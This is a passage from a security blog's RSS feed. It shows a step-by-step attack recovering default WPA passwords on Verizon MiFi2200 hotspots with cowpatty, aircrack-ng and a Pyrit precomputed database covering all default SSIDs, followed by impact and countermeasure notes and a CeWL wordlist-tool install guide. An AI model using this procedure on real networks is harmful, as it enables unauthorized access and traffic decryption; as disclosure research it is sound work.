<p>Returning to the Airodump-ng window, we can see that it has observed a WPA handshake, identifying the MAC address of the MiFi AP.  Terminate the Airodump-ng session by issuing "CTRL+C".</p>
<div class="wp-caption aligncenter" style="width: 560px"><a href="http://www.willhackforsushi.com/images/mifi-airodump.png"><img title="Airodump-ng WPA Handshake" src="http://www.willhackforsushi.com/images/mifi-airodump.png" alt="Airodump-ng WPA Handshake" width="550" height="212" /></a><p class="wp-caption-text">WPA Handshake - No Limp Fish</p></div>
<p>With the Airodump-ng packet capture file mifi-dad1-01.cap, and the dictionary file containing the potential passwords for the target MiFi device, we can implement the WPA/WPA2 brute-force dictionary attack using <a href="http://www.willhackforsushi.com/?page_id=50">coWPAtty</a>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>bt:~<span style="color: #666666; font-style: italic;"># cowpatty -r mifi-dad1-01.cap -f mifi-wordlist.txt -s &quot;Verizon MiFi2200 DAD1 Secure&quot;</span>
cowpatty <span style="color: #000000;">4.6</span> - WPA-PSK dictionary attack. 
&nbsp;
Collected all necessary data to <span style="color: #c20cb9; font-weight: bold;">mount</span> crack against WPA<span style="color: #000000; font-weight: bold;">/</span>PSK passphrase.
Starting dictionary attack.  Please be patient.
&nbsp;
The PSK is <span style="color: #ff0000;">&quot;09111900891&quot;</span>.
&nbsp;
<span style="color: #000000;">892</span> passphrases tested <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">4.60</span> seconds:  <span style="color: #000000;">193.97</span> passphrases<span style="color: #000000; font-weight: bold;">/</span>second</pre></div></div>

<p>... or <a href="http://www.aircrack-ng.org" target="_blank">Aircrack-ng</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>bt:~<span style="color: #666666; font-style: italic;"># aircrack-ng mifi-dad1-01.cap -w mifi-wordlist.txt</span></pre></div></div>

<div class="wp-caption aligncenter" style="width: 560px"><a href="http://www.willhackforsushi.com/images/mifi-aircrack.png"><img title="Aircrack-ng Password Recovery" src="http://www.willhackforsushi.com/images/mifi-aircrack.png" alt="Aircrack-ng Password Recovery" width="550" height="358" /></a><p class="wp-caption-text">Key Found, Conveniently Enough</p></div>
<p>This is fun and evil and all, but we can get even more evil, can't we?</p>
<h2>Exploitation (with 100% more Evil)</h2>
<p>We know that WPA/WPA2-PSK networks are vulnerable to offline dictionary attacks, despite the efforts of the IEEE 802.11 committee to thwart the attack by reducing the speed of password guessing.  Manipulating this mechanism, tools such as coWPAtty's "genpmk" and Aircrack-ng's "Airolib-ng" spend up-front time precomputing all the possible key guesses in a dictionary file, accelerating the cracking time when the attack is implemented.  A limiting factor in this precomputation attack is that all the password guesses need to be computed for each unique SSID.</p>
<p>Recall that the MiFi SSID is in the form "Verizon MiFi2200 ???? Secure", where the SSID is the same for each device with the exception of the 4 ASCII characters representing last 2 bytes of the wireless BSSID.  With only 2 bytes difference between each SSID, there is a limit of 65,536 potential SSID's.</p>
<p>Using the WPA/WPA2-PSK precomputation attack, we can precompute the password guesses based on the manufacture date and sequential identifier for each of the 65K SSID's.  Once this is precomputed, it becomes possible to recover the password for any default MiFi configuration in a matter of seconds.</p>
<p>Leveraging standard host CPU's, it might take a long time to precompute all the password guesses for each of the 65K SSID's.  Fortunately, we aren't constrained to the speed of common CPU's.</p>
<p>While coWPAtty and Aircrack-ng made strides in improving the speed of attacking WPA/WPA2-PSK networks, they pale in comparison to the excellent work of <a href="http://code.google.com/p/pyrit/" target="_blank">Lukas Lueg and the Pyrit project</a>.  Pyrit leverages both the performance of standard CPU's for precomputing password guesses for PSK networks, as well as the impressive computing power of video accelerators, including the Nvidia CUDA line.</p>
<p>If we assume there are 12 manufacture date prefixes, we are left with a password list of 1.2 million entries.  Computing all the possible password hashes for each of the 65K SSID's on a Core2Duo 2.5 GHz SSE2 would take almost two years to complete.  Leveraging 4 GeForce 295 CUDA cards on a single host would require only 10.2 days.</p>
<p>With the database capabilities added to Pyrit, we can get this attack setup fairly easily.  <a href="http://code.google.com/p/pyrit/wiki/Installation" target="_blank">After installing Pyrit</a> (getting the source from SVN and installing sqlalchemy <a href="http://pyrit.wordpress.com/2009/10/18/network-is-coming-back/" target="_blank">described here</a>), we need to configure Pyrit to use a database for storage.  I'm using sqlite in this example by editing the ~/.pyrit/config file as shown:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#default_storage = file://</span>
<span style="color: #666666; font-style: italic;"># Change this path to an appropriate one for your filesystem</span>
default_storage = sqlite:<span style="color: #000000; font-weight: bold;">////</span>Users<span style="color: #000000; font-weight: bold;">/</span>josh<span style="color: #000000; font-weight: bold;">/</span>hack<span style="color: #000000; font-weight: bold;">/</span>MiFi-PSK<span style="color: #000000; font-weight: bold;">/</span>mifi-psk.db
rpc_announce = <span style="color: #c20cb9; font-weight: bold;">true</span>
rpc_announce_broadcast = <span style="color: #c20cb9; font-weight: bold;">false</span>
rpc_knownclients =
rpc_server = <span style="color: #c20cb9; font-weight: bold;">true</span></pre></div></div>

<p>Once the sqlite database storage reference is set, we can create all 65K MiFi SSID's using a simple Python script:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> cpyrit.<span style="color: black;">storage</span>
&nbsp;
store = cpyrit.<span style="color: black;">storage</span>.<span style="color: black;">getStorage</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'sqlite:///mifi-psk.db'</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">256</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">for</span> j <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">256</span><span style="color: black;">&#41;</span>:
		essid = <span style="color: #483d8b;">&quot;Verizon MiFi2200 %02X%02X Secure&quot;</span><span style="color: #66cc66;">%</span><span style="color: black;">&#40;</span>i,j<span style="color: black;">&#41;</span>
		store.<span style="color: black;">essids</span>.<span style="color: black;">create_essid</span><span style="color: black;">&#40;</span>essid<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Created %s&quot;</span><span style="color: #66cc66;">%</span>essid</pre></div></div>

<p>You can download this source as <a href="http://www.willhackforsushi.com/code/pyrit-mifi-ssids.py">pyrit-mifi-ssids.py</a>.  Change to the directory path you established in the Pyrit config file, then create the SSID's for Pyrit:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>Users<span style="color: #000000; font-weight: bold;">/</span>josh<span style="color: #000000; font-weight: bold;">/</span>hack<span style="color: #000000; font-weight: bold;">/</span>MiFi-PSK
$ .<span style="color: #000000; font-weight: bold;">/</span>pyrit-mifi-ssids.py
Created Verizon MiFi2200 0000 Secure
Created Verizon MiFi2200 0001 Secure
Created Verizon MiFi2200 0002 Secure
Created Verizon MiFi2200 0003 Secure
...
Created Verizon MiFi2200 FFFF Secure</pre></div></div>

<p>Once the SSID's have been loaded, we can load the passwords into the Pyrit database as well.  Returning to the <a href="http://www.willhackforsushi.com/code/mifi-passgen.py">mifi-passgen.py</a> script, we can pipe the output directly to Pyrit, as shown.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ .<span style="color: #000000; font-weight: bold;">/</span>mifi-passgen.py 091118 091119 091120 091121 <span style="color: #000000; font-weight: bold;">|</span> pyrit <span style="color: #660033;">-i</span> - import_passwords
Pyrit 0.2.5-dev <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">svn</span> r209<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>C<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">2008</span>-<span style="color: #000000;">2010</span> Lukas Lueg http:<span style="color: #000000; font-weight: bold;">//</span>pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
&nbsp;
Connecting to storage at <span style="color: #ff0000;">'sqlite:////Users/josh/hack/MiFi-PSK/mifi-psk.db'</span>...  connected.
&nbsp;
<span style="color: #000000;">400000</span> lines read. Flushing buffers.... ...
All done.</pre></div></div>

<p>Next, we allow Pyrit to precompute the passphase guesses for us, leveraging the available CPU and offload capabilities:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ pyrit batch
Pyrit 0.2.5-dev <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">svn</span> r209<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>C<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">2008</span>-<span style="color: #000000;">2010</span> Lukas Lueg http:<span style="color: #000000; font-weight: bold;">//</span>pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
&nbsp;
Connecting to storage at <span style="color: #ff0000;">'sqlite:////Users/josh/hack/MiFi-PSK/mifi-psk.db'</span>...  connected.
&nbsp;
Working on ESSID <span style="color: #ff0000;">'Verizon MiFi2200 4109 Secure'</span>
Processed <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">256</span> workunits so far <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0.8</span><span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000;">480</span> PMKs per second.
...</pre></div></div>

<p>The great part is that this only needs to be done once.  It could take days or weeks depending on your available hardware, but once it is complete, it can be used by anyone to recover the default password on any MiFi device.</p>
<p>To leverage the Pyrit database, we can use the "attack_db" option with our packet capture, as shown.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ pyrit <span style="color: #660033;">-r</span> mifi-dad1-01.cap attack_db
Pyrit 0.2.5-dev <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">svn</span> r209<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>C<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">2008</span>-<span style="color: #000000;">2010</span> Lukas Lueg http:<span style="color: #000000; font-weight: bold;">//</span>pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
&nbsp;
Connecting to storage at <span style="color: #ff0000;">'sqlite:////Users/josh/hack/Mifi-PSK/mifi-psk.db'</span>...  connected.
&nbsp;
Parsing <span style="color: #c20cb9; font-weight: bold;">file</span> <span style="color: #ff0000;">'mifi-dad1-01.cap'</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>...
<span style="color: #000000;">8816</span> packets <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">8816</span> <span style="color: #000000;">802.11</span>-packets<span style="color: #7a0874; font-weight: bold;">&#41;</span>, <span style="color: #000000;">1</span> APs
&nbsp;
Picked AccessPoint 00:<span style="color: #000000;">21</span>:e8:b2:da:d1 <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">'Verizon MiFi2200 DAD1 Secure'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> automatically.
Attacking handshake with Station 00:1c:b3:b8:<span style="color: #000000;">76</span>:6c...
Tried <span style="color: #000000;">57504</span> PMKs so far <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">57.4</span><span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000;">107722</span> PMKs per second..
&nbsp;
The password is <span style="color: #ff0000;">'09111900891'</span>.</pre></div></div>

<h2>Impact</h2>
<p>Using this technique, an attacker can recover the default password from any MiFi device.  The impact of this attack can vary, but three immediate concerns come to mind:</p>
<ul>
<li><strong>Utilization Fees</strong>: Verizon limits users to 5 GB data transfer a month over EV-DO account; exceeding this  watermark racks up significant fees for the end-user.  A neer-do-well could compromise a MiFi device and leverage it for their download purposes, potentially avoiding racking up their own Internet use charges, or just to cause trouble for the victim.</li>
<li><strong>Client Attack</strong>: For organizations deploying MiFi devices for their road-warriors, an attacker may compromise the PSK on the MiFi wireless interface for the opportunity to exploit the client devices using the network interface.  This may be in an effort to gain access to a system over a weak network interface, allowing them to return to their more secure network to attack other internal hosts.</li>
<li><strong>Traffic Decryption</strong>: If an attacker can identify the correct PSK for the MiFi network, then they can also decrypt all the traffic on the network with <a href="http://www.wireshark.org" target="_blank">Wireshark</a> or <a href="http://www.aircrack-ng.org/doku.php?id=airdecap-ng" target="_blank">Airdecap-ng</a>.  This could be used to passively collect sensitive information, or to actively exploit the client browser or other network traffic.</li>
</ul>
<h2>Countermeasures</h2>
<p>Fortunately, there are a couple of options available to us to mitigate this attack.</p>
<ul>
<li><strong>Change the Default PSK</strong>: Before deploying the MiFi device, be sure to change the PSK to a non-default value.  The IEEE 802.11-2007 specification reads "A key generated from a passphrase of less than about 20 characters is unlikely to deter attacks."; I think this is good advice.</li>
<li><strong>Change the Default SSID</strong>: Change the default SSID from "Verizon MiFi2200 XXXX Secure" to another value that is not common, but not unique either (somewhere in the middle) to mitigate precomputed PSK attacks, as well as general wireless anonymity attacks.</li>
</ul>
<p>Enteprise organizations and end-users alike should apply both these recommendations to thwart attacks against the MiFi deficiency in password selection, as well as weaknesses in WPA/WPA2-PSK in general.</p>
<h2>Conclusion</h2>
<p>The Verizon MiFi is a great tool, but the engineering team who created the default password mechanism should have taken into consideration the limited entropy in the selection of passwords, and the well-publicized attacks against WPA-PSK networks to limit customer exposure.  Coincidentally, this is a topic we examine in my <a href="http://www.sans.org/sans-2010/description.php?tid=2397" target="_blank">SANS Institute Ethical Hacking Wireless course</a>, where we dig into a variety of wireless systems including WiFi, Bluetooth, WiMAX, GSM, proprietary protocols and more.  If you are interested in wireless security topics, I recommend you check out the <a href="https://portal.sans.org/ondemand/getdemo.php?mid=3" target="_blank">course sample</a> or sign right up for the <a href="http://www.sans.org/sans-2010/?utm_campaign=SANS_2010" target="_blank">biggest SANS conference</a> of the year in Orlando, FL, March 8th - 13th.</p>
<p>Questions, comments, concerns?  Please drop me a note.  Special thanks to <a href="http://code.google.com/p/pyrit/" target="_blank">Lukas Lueg</a>, <a href="http://www.john-strand.com/john-strand/Welcome.html" target="_blank">John Strand</a> and my fellow agents at <a href="http://www.inguardians.com" target="_blank">InGuardians</a>.  Thanks guys!</p>
<p>-Josh</p>
<p>* On an hourly basis, this is the message my last Verizon USB EV-DO card gave me. The screen-shot says it all.</p>
<div class="wp-caption aligncenter" style="width: 210px"><a href="http://www.willhackforsushi.com/images/verizon-stop-working.jpg"><img title="Verizon - Stopped Working For Me" src="http://www.willhackforsushi.com/images/verizon-stop-working.jpg" alt="Verizon - Stopped Working For Me" width="200" height="126" /></a><p class="wp-caption-text">Verizon - Stopped Working For Me</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=417</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Wordlist Generation &#8211; CeWL on Ubuntu</title>
		<link>http://www.willhackforsushi.com/?p=410</link>
		<comments>http://www.willhackforsushi.com/?p=410#comments</comments>
		<pubDate>Thu, 17 Dec 2009 14:04:09 +0000</pubDate>
		<dc:creator>Joshua Wright</dc:creator>
				<category><![CDATA[Tool]]></category>

		<guid isPermaLink="false">http://www.willhackforsushi.com/?p=410</guid>
		<description><![CDATA[CeWL is a custom wordlist generator written by Robin Wood.  Written in Ruby, CeWL takes a target website as an argument and crawls the site for HTML, MS Office (2007 and earlier) and PDF documents.  For each supported document, CeWL extracts the words, email addresses and metadata to build a wordlist.
Used with tools [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.digininja.org/projects/cewl.php" target="_blank">CeWL</a> is a custom wordlist generator written by <a href="http://www.digininja.org/contact.php" target="_blank">Robin Wood</a>.  Written in Ruby, CeWL takes a target website as an argument and crawls the site for HTML, MS Office (2007 and earlier) and PDF documents.  For each supported document, CeWL extracts the words, email addresses and metadata to build a wordlist.</p>
<p>Used with tools such as <a href="http://www.willhackforsushi.com/?page_id=41">Asleap</a> and <a href="http://www.willhackforsushi.com/?page_id=50">coWPAtty</a>, CeWL's wordlist generation technique can be very useful, building a dictionary off words found on the target website.  This often includes project names, acronyms and other content that apply specifically to the target and may be successful in a dictionary attack where standard dictionary words would not.</p>
<p>While I'm working on another project, I've departed from Gentoo to run Ubuntu 9.10.  I'm looking forward to the day I can return to Gentoo, but until then, I got CeWL to run on Ubuntu without much complication:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> exif libimage-exiftool-perl
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> gem <span style="color: #c20cb9; font-weight: bold;">install</span> http_configuration spider mime-types mini_exiftool rubyzip spider
$ <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;export RUBYOPT=<span style="color: #000099; font-weight: bold;">\&quot;</span>rubygems<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span>~<span style="color: #000000; font-weight: bold;">/</span>.bashrc
$ <span style="color: #7a0874; font-weight: bold;">source</span> ~<span style="color: #000000; font-weight: bold;">/</span>.bashrc
$ <span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>www.digininja.org<span style="color: #000000; font-weight: bold;">/</span>files<span style="color: #000000; font-weight: bold;">/</span>cewl_2.2.tar.bz2
$ <span style="color: #c20cb9; font-weight: bold;">tar</span> xvfj cewl_2.2.tar.bz2
$ <span style="color: #7a0874; font-weight: bold;">cd</span> cewl
$ .<span style="color: #000000; font-weight: bold;">/</span>cewl.rb  <span style="color: #660033;">--help</span>
cewl <span style="color: #000000;">2.0</span> Robin Wood <span style="color: #7a0874; font-weight: bold;">&#40;</span>dninja<span style="color: #000000; font-weight: bold;">@</span>gmail.com<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>www.digininja.org<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
Usage: cewl <span style="color: #7a0874; font-weight: bold;">&#91;</span>OPTION<span style="color: #7a0874; font-weight: bold;">&#93;</span> ... URL
        --help, -h: show <span style="color: #7a0874; font-weight: bold;">help</span>
        <span style="color: #660033;">--depth</span> x, <span style="color: #660033;">-d</span> x: depth to spider to, default <span style="color: #000000;">2</span>
        --min_word_length, -m: minimum word length, default <span style="color: #000000;">3</span>
        --offsite, -o: <span style="color: #7a0874; font-weight: bold;">let</span> the spider visit other sites
        --write, <span style="color: #660033;">-w</span> <span style="color: #c20cb9; font-weight: bold;">file</span>: <span style="color: #c20cb9; font-weight: bold;">write</span> the output to the <span style="color: #c20cb9; font-weight: bold;">file</span>
        --ua, <span style="color: #660033;">-u</span> user-agent: useragent to send
        --no-words, -n: don<span style="color: #ff0000;">'t output the wordlist
        --meta, -a: include meta data
        --email, -e: include email addresses
        --meta-temp-dir directory: the temporary directory used by exiftool when parsing files, default /tmp
        -v: verbose
&nbsp;
        URL: The site to spider.</span></pre></div></div>

<p>CeWL is one of the tools we cover in my <a href="http://www.sans.org/security-east-2010/description.php?tid=2397" target="_blank">Ethical Hacking Wireless course</a>, running next in New Orleans on January 11-16.  It's not too late to sign up for this class, and escape the winter chill for good food and wireless hacking in New Orleans.</p>
<p>-Josh</p>
]]></content:encoded>
			<wfw:commentRss>http://www.willhackforsushi.com/?feed=rss2&amp;p=410</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
